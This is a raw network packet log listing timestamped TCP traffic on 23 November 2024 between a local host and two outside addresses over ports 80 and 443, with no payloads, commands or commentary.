Nov 23, 2024 03:21:14.255263090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.256227970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.256350040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.256397963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.257392883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.257437944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.257443905 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.257491112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.257541895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.257584095 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.257597923 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.257607937 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.257610083 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.257631063 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.257646084 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.257688046 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.257750034 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.257755041 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.257755041 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.257791996 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.257817984 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.257847071 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.258377075 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.258377075 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.258403063 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.258428097 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.258531094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.258605957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.258644104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.258685112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.259654999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.259716034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.259758949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.260771990 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.260790110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.260806084 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.260816097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.260848999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.260873079 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.260884047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.260925055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.261013031 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.261074066 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.261193991 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.261209011 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.261233091 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.261312962 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.261329889 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.261449099 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.261461020 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.261511087 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.261574984 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.261579990 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.261939049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.261991024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.262053013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.262098074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.263087034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.263137102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.263173103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.263216972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.264019012 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.264098883 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.264200926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.264211893 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.264247894 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.264256001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.264260054 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.264285088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.264314890 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.264328003 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.264339924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.265368938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.265460968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.265522003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.266275883 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.266299009 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.266374111 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.266504049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.266515017 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:14.266540051 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:14.266554117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.266625881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.266730070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.267632008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.267677069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.267721891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.267765999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.268758059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.268800974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.268872023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.268914938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.269906998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.269949913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.269995928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.270039082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.271038055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.271083117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.271128893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.271184921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.272196054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.272239923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.272300959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.272344112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.273330927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.273380041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.273417950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.273466110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.274460077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.274555922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.274854898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.274873018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.275572062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.275645018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.275687933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.275732994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.276726007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.276768923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.276813030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.276856899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.277861118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.277904034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.277971983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.278013945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.279000044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.279041052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.279108047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.279375076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.280180931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.280225992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.280277967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.280322075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.281291962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.281339884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.281377077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.281424999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.282413960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.282459021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.282535076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.282579899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.283544064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.283607960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.283646107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.283689022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.284718990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.284761906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.284823895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.284871101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.285825968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.285881042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.285924911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.285969973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.286997080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.287039995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.287106037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.287149906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.288105965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.288149118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.288232088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.288275957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.289254904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.289300919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.289367914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.289563894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.290386915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.290431023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.290493011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.290541887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.291534901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.291579962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.291631937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.291677952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.292727947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.292773008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.292799950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.292843103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.293796062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.293839931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.293921947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.293966055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.295002937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.295047998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.295056105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.295099020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.296084881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.296154022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.296190977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.296236038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.297239065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.297283888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.297355890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.297399044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.298358917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.298402071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.298448086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.298492908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.299478054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.299524069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.452447891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.452462912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.452472925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.452481985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.452491999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.452502012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.452512026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.452522993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.452553988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.452575922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.452951908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.453002930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.453082085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.453356981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.454068899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.454114914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.454181910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.454225063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.455208063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.455250025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.455324888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.455368042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.456343889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.456391096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.456424952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.456469059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.457477093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.457520008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.457564116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.457608938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.458621025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.458688021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.458692074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.458733082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.459741116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.459784031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.459844112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.459899902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.460879087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.460926056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.460957050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.461003065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.462035894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.462081909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.462150097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.462192059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.463152885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.463200092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.463253975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.463295937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.464304924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.464350939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.464407921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.464452028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.465432882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.465477943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.465554953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.465605021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.466567039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.466610909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.466674089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.466718912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.467708111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.467750072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.467816114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.467858076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.468862057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.468934059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.468969107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.469014883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.469990969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.470033884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.470093966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.470136881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.471127987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.471174955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.471251011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.471296072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.472279072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.472321033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.472399950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.472440958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.473400116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.473444939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.473505974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.473550081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.474545002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.474590063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.474648952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.474694967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.475683928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.475728035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.475795984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.475837946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.476839066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.476883888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.476921082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.476963997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.477955103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.478004932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.478070974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.478111982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.479310036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.479372978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.479387045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.479434967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.480246067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.480288982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.480369091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.480412006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.481395006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.481437922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.481501102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.481544018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.482528925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.482573032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.482631922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.482676029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.483660936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.483705044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.483762980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.483804941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.484796047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.484841108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.484905005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.484947920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.485929012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.485971928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.486043930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.486085892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.487102985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.487148046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.487174988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.487219095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.488205910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.488246918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.488307953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.488353014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.489367962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.489427090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.489460945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.489502907 CET	49760	80	192.168.2.4	31.41.244.11
